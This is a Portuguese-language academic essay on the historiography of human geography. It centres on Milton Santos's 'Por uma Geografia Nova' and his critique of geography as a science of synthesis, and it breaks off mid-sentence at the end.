O Trigésimo Aniversário por uma Geografia Nova: Uma reflexão geográfica para a historiografia social crítica

O Trigésimo Aniversário por uma Geografia Nova:

Uma reflexão geográfica para a historiografia social
crítica

 

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Resumo: O que é a Geografia Humana? O que é geografia? O que
ela estuda? Muitas perguntas, muitas respostas. Podemos perceber que é um
conceito polissêmico, abrangente, complexa, ou seja, este conceito está
interligando a própria conceito historiográfico da geografia é que apresenta
questões teóricas da Geografia que já receberam uma proposta de solução
consistente há 30 anos permanecem vivas no discurso geográfico brasileiro,
embora nenhuma crítica tenha sido feita às formulações de Milton Santos, e
ninguém tenha feito uma proposta clara de retorno ao passado, tendo como os principais
geógrafos a saber, Bernhardus Varenius, James Cook, Alexander von Humboldt,
Immanuel Kant, Ferdinand Paul Wilhelm, barão de Richthofen, Friedrich Ratzel, Paul
Vidal de La Blache, Karl Ritter, e assim sucessivamente. As críticas feitas por
Milton Santos à definição da Geografia como ciência de síntese, ou à pretensa
interdisciplinaridade sem disciplinaridade desta disciplina permanecem
ignoradas por parcela significativa da Geografia brasileira, que ainda parece
tentada por aquele delírio, denunciado por Lucien Febvre em 1922, de que a
Geografia comportaria todos os conhecimentos humanos. Na medida em que a
preocupação com a posição da Geografia frente às demais ciências sociais, ou
quanto ao objeto da disciplina permanecem ignoradas.

Palavras
– Chave
: Geografia Humana –
Historiografia – Conceitos.

 

 

Abstract: what is human geography? What is geography? It examines? Many
questions, many replies. We realize that it is a polysemic concept,
comprehensive, complex, that is, this concept is linking the very concept
historiográfico geography is that presents theoretical issues Geography which
have already received a proposal for a solution consistent to 30 years remain
alive in the discourse geographic Brazilian, although no criticism has
been made to the wording Milton Santos, and nobody has a clear proposal to
return to the past, taking as the main geógrafos namely, Bernhardus Varenius,
James Cook, Alexander von Humboldt, Immanuel Kant, Ferdinand Paul Wilhelm,
baron Richthofen, Friedrich Ratzel, Paul Vidal de La Blache, Karl Ritter, and
so on. The criticisms made by Milton Santos the definition of Geography and
science of synthesis, or to the alleged interdisciplinarity without
disciplinaridade this discipline remain ignored by significant portion of Brazilian
Geography, that still seems tempted by that delirium, denounced by Lucien
Febvre in 1922, that the Geography would all human knowledge. In so far as the
concern with the position of Geography front to the other social sciences, or
the object of discipline remain ignored.

Key words: Human Geography – Historiography – concepts.

 

 

INTRODUÇÃO

 

 

                
A Geografia Humana deve trabalhar apoiando-se sobre uma base
territorial. Em todos os lugares onde vive o homem, seu modo de existência
implica uma relação necessária entre ele e o substrato territorial. É
precisamente a consideração deste laço territorial que diferencia a Geografia
Humana da Sociologia. Os sociólogos têm tendência a perceber apenas os aspectos
psicológicos dos grupamentos humanos, a esquecer as relações dos homens com a
terra, a tratar do homem como se ele estivesse desligado da superfície
terrestre. Este estudo possibilitou-me perceber ainda que seja possível
encontrar suas origens na escola vidaliana de geografia humana e na sociologia
urbana de Park, seus verdadeiros primórdios remontam aos anos 70, em reação ao
positivismo lógico, à quantificação exagerada e às explicações mecanicistas,
deterministas, reducionistas, de uma geografia sem homem.

                 Este estudo
procurar analisar, contextualizar, intertextualizar, o que é a geografia
humana? Isto significa dizer que a Geografia Humana é o estudo dos grupamentos
humanos em suas relações com o meio geográfico. A expressão de meio geográfico
é mais compreensiva que a de meio físico; ela engloba não somente as
influências naturais que podem-se exercer, mas ainda uma influência que
contribui para formar o meio geográfico, o ambiente total, a influência do
próprio homem. No início de sua existência, a Humanidade foi certamente escrava,
pela sua dependência da natureza. Dessa maneira, as obras humanas oriundas de
todo o passado da Humanidade contribuem para constituir o meio, o ambiente, o
meio geográfico que condiciona a vida dos homens. Assim, podemos adotar como
definição da Geografia Humana o estudo das relações dos grupamentos humanos com
o meio geográfico.Esta definição da Geografia Humana permite-nos conceber de
maneira concreta qual é seu objeto e determinar os quadros e os limites. Ela
compreende quatro grandes grupos de problemas que resultam precisamente das
relações das sociedades humanas com o meio geográfico.

 

 

A EMERGÊNCIA DA HISTÓRIA DO
PENSAMENTO GEOGRÁFICO.

 

 

                  É interessante
analisar que a Geografia é uma ciência que tem por objeto o espaço, mas
não ao espaço cartesiano, e sim o espaço criado através das relações entre o
homem e o meio, envolvendo os aspectos dialéticos e fenomenológicos. Há inúmeras
interpretações do que seria o objeto geográfico. Tanto as que consideram o
espaço como um "teatro" da ação humana quanto os que o consideram
como um produto da interação homem – natureza. Se há um consenso na Geografia é
que não existe consenso quanto à definição de seu objeto. Há tantas visões
quantos forem os geógrafos, algumas com maior orientações para a Geografia
Física, outras para Geografia Humana. Cada uma dessas orientações é uma visão
do mundo, e cada Geografia particular privilegia este ou aquele aspecto.
Evidentemente, há temas mais ou menos abrangentes, passíveis de serem
interpretados pelas mais variadas ópticas. Uma definição simples, mas
abrangente, poderia ser: Geografia é o estudo da superfície terrestre e a
distribuição espacial e as relações recíprocas dos fenômenos físicos,
biológicos e sociais que nela se manifestam. Quando se fala em geografia
imediatamente penso em espaço físico geográfico. Ajudem-me a compreender melhor
sobre geografia humana e suas implicações no meio ambiente. Segundo GOMES
(1991. p.85), ao se referir à ciência moderna,

 

A ciência como um campo de conhecimentos teóricos,
sendo as leis científicas o núcleo científico do sistema teórico. A partir do
exame analítico dos fatos da natureza e da sociedade, tomados em conjunto, de
forma objetiva, o interessado na busca do saber científico (pesquisador,
cientista social, etc.) procurará conhecer as ações das leis que regem os
fenômenos contidos nos fatos e deverá agrupá-los num sistema ordenado. (GOMES,
1991, p. 85)

 

                  É nesta citação
acima que Gomes argumenta que a geografia humana, ou seja, ela é o estudo e
descrição da interação entre a sociedade e o espaço. Ela ajuda o homem a
entender o espaço em que vive. Pode-se compreender o objeto da geografia humana
como sendo a leitura crítica das percepções e transformações humanas sobre o
espaço que a compreende, no transcorrer do tempo, assim como a incidência do
espaço sobre a sociedade. A história do pensamento geográfico se inicia com os
gregos, os quais foram a primeira cultura conhecida a explorar ativamente a
Geografia como ciência e filosofia, sendo os maiores contribuintes, a saber,
Tales de Mileto, Heródoto, Erastóstenes, Hiparco, Aristóteles, Estrabão e
Ptolomeu. A cartografia feita pelos romanos, à medida que exploravam novas
terras, incluía novas técnicas. O périplo era uma delas, uma descrição dos portos
e escalas que um marinheiro experimentado poderia encontrar ao longo da costa;
dois exemplos que sobreviveram até hoje são o périplo do cartaginês Hanão o
Navegador e um périplo do mar eritreu, que descreve as costas do Mar Vermelho e
do Golfo Pérsico.

                  Durante a Idade
Média os Árabes como Edrisi, Ibn Battuta e Ibn Khaldun aprofundaram e
mantiveram os antigos conhecimentos gregos. As viagens de Marco Polo espalharam
pela Europa o interesse pela Geografia. Durante a Renascença e ao longo dos
séculos XVI e XVII, as grandes viagens de exploração reavivaram o desejo de
bases teóricas mais sólidas e de informação mais detalhada. A Geographia
Generalis de Bernardo Varenius e o mapa-mundo de Gerard Mercator são exemplos
importantes. Em contrapartida percebemos que a Geografia, enquanto Ciência tem
dois ramos principais, a geografia física e a geografia humana. Este artigo examina
a diferença fundamental entre ambas. Ao passo que a geografia física aborda
todos os aspectos relacionados com o ambiente, a geografia humana trata
questões muito mais sensíveis, tais como a capacidade do ser humano, enquanto
individuo e em grupo se fundir com o meio em que vive e como certos processos
se desenvolvem em tais grupos. Também analisa quão mais detalhadamente a
geografia humana se ocupa de aspectos políticos, econômicos, sociais ou
demográficos e com tudo o que esteja relacionado com a atividade humana e a sua
envolvência num contexto geográfico. Há mais de meio
século, Demangeon afirmou que:

 

a Geografia Humana é o estudo dos
grupamentos humanos em suas relações com o meio geográfico". Sendo a expressão "meio
geográfico" mais compreensiva que a de meio físico, pois, "[…] ela
engloba não somente as influências naturais que podem-se exercer, mas ainda uma
influência que contribui para formar o meio geográfico, o ambiente total, a
influência do próprio homem". Haja vista, "[…] as obras humanas
oriundas de todo passado da Humanidade contribuir]em para constituir o meio, o
ambiente, o meio geográfico que condiciona a vida dos homens (DEMANGEON, 1982,
p. 52 – 53).

 

 

A
Geografia humana no contexto da Ciência Moderna

 

 

                
Podemos perceber que esse autor ainda estabelece três princípios básicos, vale
ressaltar: a) em Geografia Humana deve-se evitar os determinismos absolutos, as
fatalidades, antes saber que tudo se trata de vontade humana; b) a Geografia
Humana deve trabalhar apoiando-se sobre uma base territorial, sendo o solo o
fundamento de qualquer sociedade, de qualquer homem; e c) para ser compreensiva
e explicativa a Geografia deve encarar a evolução dos fatos, remontando ao
passado, recorrendo à História, e não apenas ater-se à consideração do estado
atual das coisas. É interessante assinalar que Milton Santos elucida as
potencialidades e os deveres de um verdadeiro trabalho interdisciplinar, e diz
que:

A interdisciplinaridade não é algo que diga respeito às
disciplinas, mas à metadisciplina. Uma geografia, uma sociologia, uma economia,
uma antropologia que não tenham o mundo como inspiração na produção própria de
conceitos, não se prestam a nenhum trabalho interdisciplinar. Este não é o
resultado de trabalhar juntos, mas da possibilidade de um discurso
intercambiável, com a fertilização mútua dos conceitos que, apesar dos jargões
respectivos, não serão impenetráveis. A globalização vai facilitar essa tarefa.
Dir-se-ia mesmo que só na globalização as inter-relações entre disciplinas
cabalmente possíveis e a interdisciplinaridade se afirmam plenamente. (SANTOS,
2000, p. 49 – 50)

                 Assim, afirma
Moraes, La Blache dessocializava o saber, descomprometendo a Geografia com a
prática social. Praticava uma Geografia colonial. Em termos metodológicos, a
proposta lablacheana foi um prosseguimento das formulações ratzelianas,
entretanto La Blache era mais relativista que aquele e menos generalista.
Compartilhavam, sobretudo, o fundamento positivista e metodologias oriundas das
ciências naturais, apesar de acentuar o propósito humano da Geografia em seus
estudos da paisagem e nas relações homem-natureza, não abordava as relações
entre os homens, para quem, inclusive, a Geografia era "uma ciência dos
lugares e não dos homens" (MORAES, 2005, p. 61). De outra maneira,
saibamos distinguir as diferenças existentes nos trabalhos de Vidal de La
Blache, aqueles do início de sua carreira e outros de um Vidal mais
amadurecido. Lacoste reconhece este fato quando escreve que:

 

 

É preciso perceber que o modelo vidaliano clássico, o
do Quadro, essa concepção da geograficidade que elimina os problemas econômicos,
sociais e sobretudo os problemas políticos, não foi Vidal de La Blache que o
formulou sobre um plano
te órico, mas um historiador da
envergadura de Lucien Febvre, cujo livro A terra e a evolução humana.
Introdução geográfica à história
(1922) exerceu uma influência considerável
sobre a corporação dos geógrafos. Foi, de fato, durante muito tempo, a
principal reflexão epistemológica sobre a geografia e sua evolução, prova
capital da carência epistemológica dos geógrafos universitários. Foi na
realidade Lucien Febvre quem formulou as posições teóricas que se imputam
depois a Vidal, em particular a do "possibilismo". "Vidal não é
um construtor de teorias", escreveu Lucien Febvre, que as agenciou em seu
lugar. (LACOSTE, 1988, p. 118 – 119)

 

                 O trabalho
interdisciplinar se coloca como primeira ordem do dia e nem mesmo a Geografia
poderá fazê-lo desvinculada de outros saberes, se não for complexa, se não
transcender seus consensos e se não se (re)conhecer-(re)completar-(re)encontar
no outro, se não se auto-criticar não poderá se reelaborar, e ficará muito
aquém do entendimento da complexidade ambiental interdisciplinar. O desejo de a
tudo gerir, Moraes aponta que, pode resultar numa gestão ineficaz, e continua:

     

O abandono do exclusivismo holístico permite que se
acate a variedade de ações e a conseqüente necessidade de formações
diversificadas para uma boa atuação. O abandono da ética uniformizadora da
interdisciplinaridade permitiria um rico equacionamento da questão ambiental
num patamar multidisciplinar, o qual poderia fornecer as bases para a definição
de efetivos campos transdisciplinares. (MORAES, 1997, p. 32).

 

 

                   Recentemente
comemoram – se os 30 anos da publicação do livro "Por Uma Geografia
Nova" de Milton Santos, ou seja, tornou-se o marco da Geografia Crítica
brasileira. É neste contexto que propomos a fazer uma análise,
contextualialização e a intertextualização desta obra, enfatizando mais os três
aspectos que são o contexto de sua publicação, as contribuições para o
pensamento geográfico e por fim a sua assimilação pela Geografia brasileira.Em
nosso pensamento, este conjunto de reflexões, indagações e meditações se fazem
necessária para as contribuições de grande importância para a consolidação de
um corpo teórico da geografia crítica. Em conseqüência disto, o avanço teórico
presente nesta obra permanece sem receber a devida importância. Por Uma
Geografia nova nos traz a base do que podemos chamar de pensamento miltoniano.
Trata-se de uma obra abrangente que procurou dar resposta a questões que
permaneceram pendentes durante a maior parte do século XX. Embora o pensamento
de Milton Santos nas publicações da década de 1990 e do início da década atual
tenha caminhado rumo a uma teoria mais bem elaborada, mais refinada acerca do
espaço geográfico, os fundamentos de seu pensamento certamente estão em Por Uma
Geografia Nova, que consegue resolver o problema da inserção da Geografia no
conjunto das ciências sociais quando define seu objeto e a coloca no mesmo
nível que as demais ciências sociais.

                 Milton Santos
considera a década de 1970 considera como o marco do advento do período da
"infoera global". Este novo período histórico, caracterizado por
mudanças técnicas, principalmente nas telecomunicações, expansão das
infra-estruturas de transporte, acompanhada por novas formas de gestão e
planejamento por parte das grandes empresas. Durante o século XX, as mudanças
técnicas e sociais ocorreram com grande intensidade, e as novas realidades
sociais que surgem vão recebendo diversas interpretações por parte da
Geografia, disciplina que também se modifica e cria novas formas de abordagem,
através de perspectivas teóricas diversas que foram sendo incorporadas à
disciplina. No final do século XX, passamos a viver um período em que estas
mudanças são amplificadas, em que ocorre um enorme aumento na intensidade e
velocidade no acontecer das relações, e que nos fizeram assistir ao surgimento
de um novo período histórico, o período histórico global.

Nesta época ocorreram grandes
mudanças no funcionamento do capitalismo, bem como evoluções técnicas que
tornaram possíveis o aumento do intercâmbio entre lugares, países e regiões. O
grau de tecnificação do território passa por um aumento exponencial. Estas
mudanças técnicas, em conjunto com as mudanças econômicas, sociais e políticas
têm sua expressão espacial na forma do meio técnico-científico-informacional.

                 Falamos de um
período em que as diferenciações e desigualdades espaciais têm uma importância
central para a definição das estratégias por parte do capital, que se
concretizam através do uso das inovações técnicas, particularmente das redes.
Como conseqüência da necessidade de se interpretar esse novo momento, diversas
ciências sociais passam a se preocupar com o espaço e a incorporá-lo em suas
teorias. Para explicar o mundo contemporâneo foi necessária uma reformulação
conceitual da Geografia, que acabou por incorporar um novo corpo conceitual,
uma nova abordagem em que a teoria crítica, dialética e marxista passou a ser
imprescindível para uma interpretação do novo meio geográfico que então surgia.

                  Entretanto, a
incorporação da teoria crítica ao pensamento geográfico não se deu sem
problemas, pois muitas vezes acabou ocorrendo a absorção de idéias e conceitos
de áreas como a Sociologia, a Economia, a Filosofia, sem se tomar o devido
cuidado de se levar em conta que se tratam de noções vindas de áreas diferentes
do conhecimento, que possuem métodos e conceitos particulares. Portanto, as preocupações
das diversas ciências sociais com o espaço, suas metodologias e formas de
abordagem se contextualizam dentro do conjunto de preocupações de cada uma
destas áreas. Quando cientistas sociais não geógrafos se referem ao espaço
social não estão trabalhando com a idéia de espaço geográfico, pois a
compreensão de questões relacionadas ao espaço possui, na concepção destes
cientistas, somente um papel secundário na explicação dos objetos de estudo
dessas diversas ciências.

                 Na Geografia, ao
contrário, historicamente a preocupação tem sido a de explicar o espaço
geográfico. Assim, é comum algo que parece óbvio não ser levado em conta: se
referir ao espaço social não é sinônimo de fazer Geografia, da mesma forma que
se referir ao tempo não é fazer História, e assim sucessivamente, para outras
áreas do conhecimento. O resultado é que, formulações teóricas que poderiam ser
contribuições próprias da Geografia para a análise social acabam por ser
abortadas, substituídas pela assimilação fácil daquilo que já foi produzido por
outras ciências sociais. A falta de preocupação com o rigor teórico e com as
metodologias particulares da disciplina acabou por colaborar para que o
discurso de muitos geógrafos permanecesse centrado na capacidade da Geografia
de importar, organizar e inter-relacionar os instrumentais teóricos de outras
disciplinas, numa aparente tentativa de suprir a ausência de discussão sobre o
objeto da disciplina e a construção de seu próprio referencial teórico.
Ganharam força as proposições de que a Geografia seria uma ciência de síntese e
portadora de um caráter interdisciplinar superior ao das demais ciências.
Parcela significativa da produção geográfica acabou abandonando a tradição da
disciplina em tratar temas que no final do século XX se tornaram fundamentais
para a compreensão do funcionamento do capitalismo contemporâneo.

 

 

O ENSINO DA GEOGRAFIA
TRADICIONAL

 

 

                  A tradicional
preocupação com meio geográfico, com as técnicas que vinha desde os estudos
sobre a formação da região paisagem, os estudos da geografia da circulação, ou
mesmo as mais recentes preocupações com as telecomunicações foram
freqüentemente ignoradas, trocadas por um discurso pretensamente crítico, mas
estéril, por ser incapaz de dar uma interpretação geográfica para as
estratégias atuais do capital. A interdisciplinaridade emergencial é iminente
no âmbito do ensino de Geografia. Já dizia Lacoste que:

 

Ainda louvar-se-ão, daqui para a frente, as virtudes
do aproche pluridisciplinar (inter – ou transdisciplinar). Mas este não é
cômodo e não é suficiente justapor as relações estabelecidas por diferentes
especialistas para perceber, de forma eficaz, a complexidade de situação e a
superposição de fenômenos que eles abordam separadamente. Nesses empreendimentos
que se querem pluridisciplinares, os geógrafos têm, na verdade, um papel
propriamente crucial a desempenhar e é preciso destacar que sua utilidade, na
ocorrência, procede justamente (e paradoxalmente) daquilo que lhes vale ser
frequentemente denegrido pelos especialistas das outras disciplinas. Os
geógrafos, mais que todos os outros, por serem iniciados nos métodos e nas
linguagens de bem diversas disciplinas, logram um trunfo numa experiência
pluridisciplinar. (LACOSTE, 1988, p. 226 – 227).

 

 

                 O trabalho
interdisciplinar se coloca como primeira ordem do dia e nem mesmo a Geografia
poderá fazê-lo desvinculada de outros saberes, se não for complexa, se não
transcender seus consensos e se não se (re)conhecer-(re)completar-(re)encontar
no outro, se não se auto-criticar não poderá se reelaborar, e ficará muito
aquém do entendimento da complexidade ambiental interdisciplinar. Temos também
uma definição clara do objeto da disciplina, bem como dos limites e
possibilidades da interdisciplinaridade. Esta obra não se perde numa discussão
da Geografia em si mesma, nem sobre qual seria o papel da disciplina. A
preocupação central foi a definição do objeto da Geografia, e o conteúdo do
livro se desdobra em discussões sobre esse objeto. É somente a partir desse
tipo de clareza que Milton Santos entende ser possível o diálogo da Geografia
com as demais ciências. Ross coloca a questão da interdisciplinaridade e
multidisciplinaridade de maneira exemplar ao afirmar que:

 

É evidente que não se pode tratar a pesquisa
científica como fragmentos da ciência, bem como não se deve adotar a postura
corporativista de muitas categorias profissionais; entretanto também não se
pode rotular o tornar-se proprietário de algo que não se pode escriturar em
cartório. As ciências da natureza e, sobretudo as chamadas ciências da terra ou
geociências, não são independentes e também não têm proprietários. (ROSS, 2000,
p. 18)

 

                  Permanecem como
heranças históricas da Geografia a discussão acerca de sua fragilidade teórica,
a fuga da discussão sobre o objeto da disciplina, onde geógrafos ainda se detem
na discussão sobre a própria Geografia, relegando a discussão de seu objeto,
quando esta ocorre, a um segundo plano. Permanece ainda a fé em seu caráter
interdisciplinar superior e na idéia de que a geografia poderia fazer uma
síntese do conhecimento das demais ciências. Entre estas permanências,
destacamos dois problemas que, embora tenham recebido uma proposta de resolução
bastante consistente no livro "Por uma Geografia Nova", continuam
tendo uma sobrevida que pode ser constatada facilmente quando consultamos os
anais de grandes eventos acadêmicos da Geografia brasileira. São estas,
primeiramente,as crenças em que a Geografia seria uma ciência de síntese e, em
segundo lugar, como decorrência desta interpretação, a idéia de que a Geografia
possua um caráter interdisciplinar superior ao de outras disciplinas
acadêmicas. Entendemos que estas concepções são fruto da antiga idéia de que a
geografia se encarregaria de estudar inter-relações de fenômenos de natureza
diversa e, para entender tais fenômenos, faria uso de instrumentais teóricos de
diversas outras ciências. Ao contrário do que normalmente se diz a respeito da
Geografia, temos, no livro "Por Uma Geografia Nova", sobre o que
concretamente foi a interdisciplinaridade para a Geografia, pois o Geógrafo
argumentou que:

 

A geografia padece, mais do que as outras disciplinas,
de uma interdisciplinaridade pobre e isso está ligado de um lado à natureza
diversa e múltipla dos fenômenos com que trabalha o geógrafo e de outro lado, a
própria formação universitária do geógrafo […] Na realidade, ainda está para
ser analisada mais profundamente a coerência de uma autêntica preocupação
interdisciplinária entre os geógrafos, potencialmente agravada pelo fato de
todos, ou quase todos, estarem absolutamente certos de que trabalham de forma
interdisciplinar. Como na realidade isso não se passa, a geografia não se
beneficia dessa forma de enriquecimento (SANTOS, 1986, p. 100-101).

 

                  Milton Santos
ainda discorre sobre as diversas tentativas, na Geografia, de se criar uma
interdisciplinaridade, sobre o papel da interdisciplinaridade e conclui que a
contribuição da Geografia nessa construção deve se dar a partir de uma contribuição
própria, uma contribuição disciplinar da Geografia, e não no papel de ciência
de síntese ou articuladora da interdisciplinaridade, que é algo que a Geografia
nunca foi, e nunca buscou desenvolver um instrumental para que isso se
efetivasse. Para Santos, a idéia de que a geografia seria uma da ciência de
síntese, onde, na articulação do conhecimento das diversas disciplinas
científicas o seria uma espécie de "maestro", que se encarregaria de
reger a orquestra formada pelas outras áreas do conhecimento humano, em que
seus especialistas desempenhariam o papel de "músicos".

                  O autor vê
nesta abordagem como problemática, pois, entre outros motivos, enfatiza uma
discussão da Geografia em si mesma, e não do objeto da disciplina, além de permanecer
alheia aos conhecimentos, práticas e teorias geográficas que foram produzidas
por diversas gerações de geógrafos. É neste sentido que Vidal de La Blache
entendia que a geografia é o estudo dos lugares. Dando ênfase a esta noção, Rui
Moreira acrescenta que o modo de vida é "uma forma de estruturar sua
existência que o homem realiza através de seu gênero de vida, gênero que varia
de acordo com a criatividade do homem com relação ao meio",[onde a técnica
tem um papel central] mas, "o gênero de vida depende da técnica e do
quadro de intercâmbios do homem entre si e com o meio" (MOREIRA, 2008, p.
68).

                  Esta
preocupação com o meio, com a constituição dos gêneros de vida através da
mediação da técnica permanece presente nos desdobramentos da obra vidalina, em
autores como Max Sorre ou Jean Brunhes, e entre outros. É importante salientar
que, nesses autores, a preocupação quanto ao objeto de estudo se mantém na
interpretação dos lugares, das paisagens, das regiões, logo do espaço geográfico.
O estudo da inter-relação entre fatores podia aparecer enquanto instrumento de
trabalho, mas não como objeto ou função da disciplina. O mesmo raciocínio vale
para Richard Hartshorne, geógrafo americano que, com seu método regional, cria
uma nova escola de pensamento na geografia. Ele em seu livro "Propósitos e
Natureza da Geografia", analisou que a:

 

diferenciação de áreas", pois "Sejam ou não
válidas as objeções ao termo, tudo parece evidenciar que a expressão, por si
mesma, é inadequada. E ainda, ela denota mais do que é necessário.
Efetivamente, se examinarmos as definições de outras ciências, podemos
concluir, por analogia, ser supérfluo afirmar que a Geografia estuda
‘diferenças’ Todas as ciências consistem no estudo de diferenças. No caso
contrário, pouco estudo seria necessário. (HARTSHORNE, 1978, p. 22)

 

                 Na década de
1930, Richard Hartshorne, apesar de ter afirmado que a "geografia deveria
ser definida antes pelo método próprio e particular de aproximação do que em
termos de seu objeto" (HARSTHORNE, 1939, Apud. SANTOS, 1986, p. 119)
entendia que a geografia deveria ser definida como o estudo da diferenciação de
áreas. Assim, "diferenciação de áreas passa a se considerar o resultado do
método geográfico e, simultaneamente, o objeto da geografia" (CORRÈA,
1990, p. 15). Com o aparecimento da geografia teorética, o estudo de
inter-relações retorna a ganhar grande importância, e ao mesmo tempo em que a
preocupação com o objeto da disciplina e sua constituição ao longo do tempo
acaba se "perdendo". Acreditava-se que a geografia quantitativa seria
ao mesmo tempo um paradigma e um método, indissociáveis entre si. O resultado
acabou por ser uma obsessão com a quantificação e uma confusão entre método
quantitativo e análise espacial, que chegaram a ser pensados como se fossem
sinônimos. H. BROOKSFIELD apud SANTOS, 1986, p. 50, afirma que "inúmeros
dentre os melhores trabalhos derivados da aplicação das matemáticas à análise
das distribuições nada mais são que um refinamento e uma sofisticação da descrição
gráfica mais simples".

                 A diminuição da
preocupação com o objeto da Geografia a partir de meados do século XX irá
aparecer até mesmo na obra de geógrafos como Pierre George que, em 1970,
publicou o livro "Os Métodos da Geografia", onde nos apresenta a
Geografia como "uma ciência de síntese na encruzilhada dos métodos de
diversas ciências" (GEORGE, 1978, p. 7), esta "ciência de relações,
implica um processo de pensamento específico, que parte da descrição para
chegar à explicação, em três termos principais: observação analítica, detecção
das correlações, fusca das relações de causalidade" (GEORGE, p. 7 – 8).
George afirma ainda que "a unidade da geografia não pode ser metodológica:
a pesquisa geográfica recorre sucessiva ou simultaneamente aos métodos de cada
uma das ciências de que se vale para chegar ao conhecimento analítico dos dados
incluídos nas combinações que constituem o objeto de seus estudos fragmentários
ou globais" (GEORGE, p. 8 – 9). A preocupação com estudos de inter-relação
entre fenômenos, a nosso ver a semente de uma noção equivocada de
interdisciplinaridade e da atribuição à geografia do papel de ciência de
síntese, como se vê da pré-história da Geografia e ganha força quando é buscada
sua individualização como ciência, quando,

 

os geógrafos tiveram a pretensão de que ela fosse,
antes de tudo, uma ciência de síntese, insto é, capaz de interpretar os
fenômenos que ocorrem sobre a face da terra, com a ajuda de um instrumental
proveniente de uma multiplicidade de ramos do saber científico tanto no âmbito
das disciplinas naturais e exatas, quanto no das disciplinas sociais e humanas
(SANTOS, 1986, p. 97).

 

                 Também se
acreditava que a Geografia seria a única ciência capaz de realizar esta
síntese. Milton Santos entende que se tratava, de fato, de uma mania de
grandeza que não se justifica, uma pretensão insuportável, pois a Geografia
jamais desenvolveu o instrumental teórico necessário para realizar a síntese, e
porque seria uma tolice reservar esse papel para uma só disciplina. Apesar de
tanta pretensão, o que vimos foi o isolamento da Geografia frente a outras
ciências, particularmente das ciências sociais.

                 Com a geografia,
além do mais, estamos diante de um paradoxo que, ao mesmo tempo, é uma ironia.
Na verdade essa ciência de síntese é, seguramente, aquela que, na sua
realização cotidiana, mantém menos relações com outras disciplinas. Tal
isolacionismo é mesmo responsável pelas dificuldades que ela encontra para
evoluir. Essa falha já havia sido observada por Ackermann, para quem somente
alguns geógrafos ultrapassaram penosamente o nível das generalidades mais
banais acerca da universalidade do método científico. Esse nível de
generalização paralisou o desenvolvimento da ciência e impediu a busca de uma
verdadeira teoria e de uma verdadeira metodologia geográfica (SANTOS, 1986, p.
98 – 99).

                 Uma contribuição
disciplinar só pode acontecer a partir da existência da clareza quanto ao
objeto da disciplina, e das possibilidades da contribuição da própria Geografia
ao conhecimento das diversas disciplinas. Em "Por Uma Geografia
Nova", temos uma bem acabada proposta nesse sentido. Na verdade uma
proposta que já vinha sendo construída pelo menos desde o início da década de 1970,
e que continua a ser aperfeiçoada e reelaborada nas décadas seguintes. A partir
do início dos anos 1970 ocorreu uma aproximação entre a geografia e o marxismo
ocidental. Com essa aproximação, o espaço começa a assumir um papel fundamental
na teoria social. É neste sentido que Soja afirma o seguinte:

 

a própria sobrevivência do capitalismo, afirmou
Lefebvre, estava baseada na criação de uma espacialidade cada vez mais
abrangente, instrumental, e também socialmente mistificada, escondida da visão
crítica sob véus espessos de ilusão e ideologia. O que distinguia o gratuito
véu espacial do capitalismo das espacialidades de outros modos de produção eram
sua produção e reprodução peculiares de um desenvolvimento geograficamente
desigual, através de tendências simultâneas para a homogeneização, a
fragmentação e a hierarquização… "esse espaço conflitivo dialetizado é
onde se realiza a reprodução, introduzido nela suas contradições múltiplas[1] –
contradições que deveriam ser analítica e dialeticamente ‘reveladas’, para nos
permitir ver o que se esconde por trás do véu espacial (SOJA, 1993, p. 65).

 

 

                 Entre os
geógrafos e outros pensadores sociais houve uma certa hesitação em admitir que
espaço desempenha um papel central na explicação da sociedade. David Harvey e
Manuel Castells, apesar de reconhecerem a contribuição de Lefebvre, no início
da década de 1970, insinuaram que este tinha ido longe demais, elevando a
"problemática espacial urbana a uma posição intoleravelmente central e
aparentemente autônoma" (SOJA, 1993, p. 97). Também de acordo com Edward
Soja, a partir desses anos 70, até meados da próxima década, ocorrem diversos
avanços e recuos nas obras dos geógrafos, no que se refere à importância dada
ao espaço para a elaboração da teoria social crítica. Castells promove duas
mudanças em aspectos essenciais de suas posições no início da década de 1970.
"A primeira vem de um abrandamento de sua postura contra Henri Lefebvre e
de uma disposição maior de aceitar a importância de uma problemática assertivamente
espacial na interpretação da política e da sociologia urbanas" (SOJA,
1993, p. 89). A segunda é que o estudo do consumo coletivo deixa de ter o papel
central que possuía em seus primeiros estudos sobre industrialização urbana.
Milton Santos, já questionava que:

 

é possível falar em Formação Econômica e Social sem
incluir a categoria do espaço. Trata-se de fato de uma categoria de Formação
Econômica, Social e Espacial mais do que uma simples Formação Econômica e
Social (F.E.S.), tal qual foi interpretada até hoje. Aceitá-la deveria permitir
aceitar o erro da interpretação dualista das relações Homem-Natureza. Natureza
e Espaço são sinônimos, desde que se considere a Natureza como uma natureza
transformada, uma Segunda Natureza, como Marx a chamou" (SANTOS, 1977, p.
82).

 

                 Ainda em
"Por Uma Geografia Nova", o espaço como uma estrutura da sociedade,
ao mesmo título que as demais, é defendida em uma crítica à postura de Manuel
Castells, que considerava o espaço uma estrutura subordinada. Milton Santos
argumenta que "o melhor é guardar no espírito o fato de que nenhuma
relação dialética pode excluir da ação um dos seus componentes. Desse modo nos
recusamos a imaginar que possa haver estruturas cujo movimento subordinado
seria devido exclusivamente às determinações econômicas" (SANTOS, 1988, p.
147). Mais adiante, acrescenta a idéia de inércia dinâmica, embrião da noção de
rugosidade. "Se o espaço organizado é também uma forma, um resultado
objetivo da interação de múltiplas variáveis através da história, sua inércia
é, pode-se dizer, dinâmica. Por inércia dinâmica queremos significar que as
formas são tanto um resultado como uma condição para os processos. A estrutura
espacial não é passiva mas ativa, embora sua autonomia seja relativa. Como acontece
às demais estruturas sociais" (SANTOS, 1988, p. 148).A essência do espaço
é social, e este não é apenas formado pelas coisas, os objetos geográficos,
naturais e artificiais, cujo conjunto nos dá a Natureza, é tudo isso, mais a
sociedade (SANTOS, 1985, p. 1).

                Em suma, a
sociedade não pode operar fora do espaço para o estudar, temos que levar em
conta sua relação com a sociedade, mas é esta dita compreensão dos efeitos dos
processos e especifica as noções de forma, função estrutura, elementos
fundamentais para a compreensão do espaço. É desta forma, que o aspecto visível
da coisa, a função, sugere uma atividade esperada de uma forma, pessoa,
instituição, é a atividade elementar de que a forma se reveste. A estrutura
implica a inter-relação de todas as partes de um todo, ao passo que o processo
pode ser definido como uma ação contínua, desenvolvendo-se em direção a um
resultado qualquer, implicando conceitos de tempo e mudança. Por fim do século
XX, consideram que o espaço para o entendimento das relações sociais é uma
postura que ganha grande importância, o espaço geográfico passa a se situar na
ordem do cotidiano. Como já foi dito anteriormente, nas últimas décadas a
